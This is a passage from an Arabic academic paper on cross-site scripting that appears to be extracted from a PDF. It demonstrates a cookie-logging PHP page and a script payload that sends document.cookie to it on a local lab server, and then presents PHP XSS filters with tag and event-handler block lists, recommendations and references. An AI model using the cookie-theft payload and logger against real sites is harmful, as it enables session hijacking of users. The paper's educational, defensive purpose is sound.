أما الصفحة الثالثة التي تستلم ملف الكوكيز (cookies) نسميها cookies.php مثلاً وتقوم هذه الصفحة بعملية تسجيل الكوكيز في ملف خارجي نسميه log.htm وتحتوي الكود البرمجي:

```
<?
$data=$HTTP_COOKIE;
$fp = fopen("log.htm","a");
flock ($fp,2);
fputs ($fp,<BR>$data);
flock($fp,3);
fclose($fp);
?>
```

ولنخزن جميع الملفات السابقة ضمن المسار C:\apache\htdocs، ثم نقوم بفتح الصفحة res.php وذلك بكتابة السطر التالي ضمن شريط العناوين في متصفح الإنترنت على الشكل:

http://localhost/res.php

ثم لنقم بفتح الصفحة xss.php وذلك بنفس الأسلوب السابق على الشكل:

http://localhost/xss.php

ثم لندخل الكود التالي في المربع النصي الذي تم إنشاؤه كمايلي:

```
<script>document.location='http://localhost/cookies.php?'+document.c
ookie</script>
```

أو نكتب السطر التالي بعد اسم وامتداد الصفحة كمايلي:

```
?word=<script>document.location='http://localhost/cookies.php?'+doc
ument.cookie</script >
```

فنلاحظ أنه هنا يتم إرسال ملف الكوكيز إلى cookies.php وهذه الصفحة بدورها تقوم بتسجيل ملف الكوكيز(cookies) في الصفحة log.htm و لرؤية ملف الكوكيز (cookies) نقوم بفتح الصفحة log.htm على الشكل:

http://localhost/log.htm

ولسد هذه الثغرة المشروحة سابقاً يجب إستبدال الدالة ;(stripslashes($code المستخدمة في الملف xss.php بالدالة ;(addslashes($code، وهناك حلاً آخر يكمن في حذف الدالة الأولى [19].

• استخدام مرشحات أو فلاتر XSS (XSS filters)، حيث تم نشر الكثير منها عبر الإنترنت لتمكين المطورين من حماية مواقعهم أو أنظمتهم المعلوماتية التي تعمل على الويب من خطر ثغرات XSS ، لقد تم اختيار أربعة فلاتر XSS بسبب توافرها وسهولة استخدامها، وهي[18]:

١- XSS-Clean filter : تمت كتابته بلغة PHP بواسطة مجموعة من المطورين، ولديه القدرة على اكتشاف الكثير من هجمات XSS ، وتم اختباره ضد معظم الاستغلالات التي تم إنشاؤها في http://ha.ckers.org/xss.html ، يتم ترميز XSS_Clean باستخدام دالة preg_replace ()، وهو يعتبر مرشحاً جيداً ولديه القدرة على اكتشاف الكثير من ثغرات XSS، لكنه فشل في اكتشاف بعض الهجمات[18].

٢- RemoveXSS filter: يقوم بعمل فلترة وحذف أي ثغرة من نوع XSS من أوامر التطبيق بشكل نهائي، ويتم وضع هذه الدالة في ملف من نوع PHP وتسميته XSS.PHP، ويقوم صاحب التطبيق بوضع هذا الملف في المجلد الذي يحوي ملف السكريبت المصاب، ثم وضع أمر واحد في أعلى الملف المصاب، تكون وظيفته إستدعاء الملف السابق وهو include(XSS.php)، وإستخدام هذه الدالة في أي برنامج ستزيد نسبة الأمان بشكل كبير، وهذه الدالة لها الشكل التالي[16]:

```
<?
function RemoveXSS($val)
 {
   // remove all non-
printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they
 *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);
   // straight replacements, the user should never need these since they'r
e normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X7
3&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65
&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
```

PDF-XChange
Click to buy NOW!
www.tracker-software.com

```
   $search .= '~`"';:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up t
o 8 chars
      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)
/i', $search[$i], $val); // with a ;
      // @ @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i]
, $val); // with a ;
   }
   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml',
 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset
', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'on
beforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onb
eforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbe
foreupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'o
ncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'on
datasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondra
g', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart',
 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus',
 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup
', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmou
seenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover',
 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', '
onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize',
'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', '
onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart
', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);
   $found = true; // keep replacing as long as the previous round replace
d something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
```

```
        for ($j = 0; $j < strlen($ra[$i]); $j++) {
          if ($j > 0) {
            $pattern .= '(';
            $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
            $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
            $pattern .= ')?';
          }
          $pattern .= $ra[$i][$j];
        }
        $pattern .= '/i';
        $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add
 in <> to nerf the tag
        $val = preg_replace($pattern, $replacement, $val); // filter out the
 hex tags
        if ($val_before == $val) {
          // no replacements were made, so exit the loop
          $found = false;
        }
      }
    }
}
?>
```

وكمثال فإن عملية الفلترة للمتغير name تتم كالتالي:

```
$name = RemoveXSS($HTTP_POST_VARS['name']);
```

وهو مرشح جيد يعتبر قادر على اكتشاف معظم هجمات XSS ولكن للأسف أخفق في اختبار بعض سكريبتات XSS (XSS scripts)، كما انه أيضاً مرشح يغطي بعض سكريبتات XSS المحتملة بشكل أقل من مرشح XSS_Clean [18].

٣-XSS-Master filter: يقوم بإزالة الوسوم والبروتوكولات الخطرة من HTML ، ويستخدم وظائف preg_replace () و preg_match () في ترميزه، وهو معقد للغاية بسبب الوظيفة المتداخلة مع ٣٠٠ سطر من الشفرة، وأصبح أحد المرشحات الجيدة التي تلتقط سكريبتات XSS (XSS scripts)، فهو يحذف حقول النماذج مثل الأزرار والخلفية وحقول الإدخال من السكريبتات الضارة على عكس عوامل التصفية الأخرى التي تحافظ على حقول النماذج وتعطيل أحداثها[18].

٤-XSS_Protect filter : تتم كتابة هذا الفلتر أيضا بلغة PHP باستخدام الدوال strip_tags () و htmlentities () لالتقاط ثغرات XSS، وتكون المخرجات هي نفس المدخلات، وهو يستخدم الدالة stripos التي تجد موضع السكريبت (script) وترميزه باستخدام scr   ipt ، وهو بسيط وسهل الفهم ، لكن لسوء الحظ يعتمد الكود الخاص به على وظائف strip_tags () التي يمكن اختراقها باستخدام الوسوم المسموح بها[18].

١٢-نتائج وتوصيات البحث Research results and recommendations:

١. لا يوجد أمن كامل في أي موقع من المواقع الإلكترونية أو الانظمة المعلوماتية التي تعتمد على الويب.
٢. هذا النوع من الثغرات الأمنية يمتاز بانتشاره الواسع لأنه سهل الاستخدام ومتوفر في الكثير من المواقع.
٣. هذا النوع من الثغرات الأمنية يمتاز بقوة تأثيره الفعالة في عملية إختراق المواقع الإلكترونية لأنه يعتمد على حقن مجموعة من الأوامر البرمجية ضمن لغة تصميم المواقع الشهيرة Html، وهي الشيفرة المصدرية لأي موقع.
٤. هذا النوع من الثغرات خطير جداً وخطورته تكمن في قدرة المخترق على إعطاء أوامر برمجية خبيثة تمكنه من الحصول على ملفات الكوكيز (cookies) بالإضافة لقيامه بعمل إضافات غير أخلاقية إلكترونياً، وتحويل الروابط ضمن المواقع إلى أي مكان يريد.
٥. إن عملية معالجة ما يقوم به المستخدم من إدخال تعتبر من الأمور الهامة لتفادي حدوث هذا النوع من الثغرات.
٦. إن من أفضل طرق الوقاية من هذا النوع من الثغرات هو قيام المبرمج بعملية فلترة للمتغيرات حتى لا تقبل أي كود يوضع من قبل المستخدم.
٧. إن عملية تقييد المستخدم بعدد محدد من الأوسمة التي يستطيع إدخالها حين الحاجة والتي لا تشكل بدورها أي خطر، أو منع المستخدم من إدخال أي وسم من وسوم لغة HTML تعتبر من الأمور الهامة لتجنب هذا النوع من الأخطاء البرمجية، ويجب على المبرمجين الأخذ بها عند التصميم.
٨. إن عملية تشفير البيانات قبل إرسالها وتشفير قنوات الاتصال التي تمر من خلالها هذه البيانات تعتبر من الأمور الهامة.

٩. عدم فتح رسائل البريد الإلكتروني مجهولة المصدر تعتبر من الأمور المهمة التي يجب أخذها بعين الاعتبار لأنه قد يكمن فيها أحد أخطر أنواع الفيروسات التي قد تعمل على سحب ملفات الكوكيز أو الملفات الملغومة بباتش (Patch)، أو أي كود Html آخر خطِر، وإذا كان لا بد فلا بأس بمعاينة الملف بواسطة برنامج مكافحة الفيروسات

١٠. تعتبر عملية تفريغ محتويات البريد الإلكتروني من الرسائل التجارية التي لا تهمنا والتي ترسلها بعض الشركات للدعاية دون إذن مسبق من الأولويات التي يجب القيام بها، وهذا الإجراء لتوفير المساحة التخزينية المعطاة من قبل موقع الويب الذي نتعامل معه.

١١. يجب الحذر من العروض المجانية فقد لا يخلو بعضها من الفيروسات.

١٣-الخاتمة Conclusion:

في هذا البحث قمت بتسليط الضوء على واحدة من أهم الثغرات الأمنية الخطيرة الموجودة في الأنظمة المعلوماتية التي تعمل على الويب، والتعرض لأنواعها المتوفرة وللتقنيات التي يعتمدها المهاجمون في كل نوع من الأنواع لحقن الاكواد البرمجية الخبيثة في التطبيقات، حيث بينت طريقة الاستفادة من كل نوع للهجوم بهدف الحصول على البيانات أو التحكم في البيانات ضمن المواقع، والحصول على معلومات مهمة من قاعدة البيانات، واستيراد وتصدير الملفات من النظام.

يمكن اعتبار هذا البحث بمثابة تنبيه الهدف منه توعية المطورين الجدد والطلاب ليكونوا على دراية بهذا النوع من الثغرات في تطبيقات الويب والأنظمة المعلوماتية التي يستخدمها المهاجمون، كما ينبه مطوري تطبيقات الويب قبل كل شيء بأنه من المهم تصفية البيانات، كما يمكن أن يكون هناك مرشحات من عملية إدخال البيانات وإخراجها التي تقضي على عناصر إدخال المخاطر، بالإضافة إلى ذلك ، يحتاج المطورون إلى إيلاء المزيد من الاهتمام إلى HTTP Referrer وتقديم الأساليب أيضًا. لذلك ، إذا كان تطبيق الويب لديه سياسة تصفية قوية ، فسيقلل من احتمال تعرض XSS للهجوم على العملاء، وبالتالي فإن مفتاح القضاء على الثغرة الأمنية XSS هو ضمان أن البيانات الصحيحة فقط هي المدخلات والمخرجات الأمنية في متصفح المستخدم، وفي المستقبل سيكون هناك المزيد من أدوات الكشف عن XSS وسيتم نشر أدوات مكافحة XSS ، وهذا بدوره يجعلنا ايلاء المزيد من الاهتمام لهذه وجعل أجهزة الكمبيوتر لدينا أكثر أماناً.

١٤ -المراجع References:

[1] MAHESWARI.G.K, Anita.R, 2015- A dynamic Tool for Detection of XSS Attacks in a real time environment, VOL. 10, NO. 10

[2] SINGH.J.P, 2016- Analysis of SQL Injection Detection Techniques. CIISE, Concordia University, Montreal, Quebec, Canada, 20 pages

[3] OWASP, 2013- Top Ten Project, [Available online]. Retrieved 26-3,2013, from https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013

[4] Kim.P, 2018- THE HACKER PLAYBOOK 3Practical Guide to Penetration Testing. Secure Planet LLC, United States, 264 pages

[5] HARPER.A, HARRIS.S, NESS.J, EAGLE.C, LENKEY.G, TERRON.W, 2011- Gray Hat Hacking The Ethical Hacker's Handbook, The McGraw- Hill Companies, 3nd ed, United States, 721pages

[6] OWASP, 2017- Owasp top10-2017;the ten most critical web application security risks, [Available online]. Retrieved 26,12,2017, from https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf

[7] OWASP, 2018- Cross site scripting (xss), [Available online]. Retrieved 08,06,2018, from https: //www.owasp.org/index.php/Cross- site_Scripting_(XSS)

[8] MORGENROTH.S, 2018- The Cross-Site Scripting (XSS) Vulnerability: Definition and Prevention, [Available online]. Retrieved 18,01,2018, from https://dzone.com/articles/the-cross-site-scripting-xss-vulnerability-definit

[9] JAVED.A, 2015- On Cross-Site Scripting, Fallback Authentication and Privacy in Web Applications. Ruhr-University Bochum, Pakistan, 202 pages

[10] GROSSMAN.J, HANSEN.R, Petkov.D, RAGER.A, FOGIE.S, 2007- Cross Site Scripting Attacks: XSS Exploits and Defense. Syngress Publishing, Elsevier, Inc, United States of America,482 pages

[11] MOHAMED.A.E, 2017- Complete Cross-site Scripting Walkthrough, [Available online]. Retrieved 2017, from https://www.exploit-db.com/.../18895-complete-cross-site-scripting-walkthrough.pdf

[12] STUTTARD.D, PINTO.M, 2011- The Web Application Hacker's Handbook:Finding and Exploiting Security Flaws. John Wiley & Sons Publishing, Inc, 2nd ed ,Indianapolis, Indiana, 914 pages

[13] SEBASTIAAN.V, 2013- Modern Exploitation: Business Risks of Memory Corruption and Web Attacks, Vrije Universiteit van Amsterdam, Faculty of Sciences De Boelelaan 1081a, 1081 HV Amsterdam, 51 pages

[13] SEBASTIAAN.V, 2013- Modern Exploitation: Business Risks of Memory Corruption and Web Attacks, Vrije Universiteit van Amsterdam, Faculty of Sciences De Boelelaan 1081a, 1081 HV Amsterdam, 51 pages

[14] W3C, 2009- Document Object Model (DOM), [Available online]. Retrieved 11,10,2009, from https://www.w3.org/DOM/#wha

[15] OWASP, 2010- DOM Based XSS, [Available online]. Retrieved 05,01,2010, from

PDF-XChange
Click to buy NOW!
www.tracker-software.com

https://www.owasp.org/index.php/DOM_Based_XSS.

[16] MITCHELL.J, 2016- Web Application Security, [Available online]. Retrieved 02,02,2016, from https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/09-web-site-sec.pdf

[17] TIEN.M.P, 2018- WEB APPLICATION PENETRATION TESTING. whitepaper, 179 pages

[18] Al-Azaiza.R, 2016- Detection and Prevention of XSS Vulnerabilities in MOODLE. faculty of Information Technology, Islamic University in Gaza, Degree of Master, 92 pages

[19] HAMBARTSUMYAN.H, 2011- Precise XSS Detection with Static Analysis using String Analysis. faculty of Computer Science, Eindhoven University of Technology, Degree of Master, 124 pages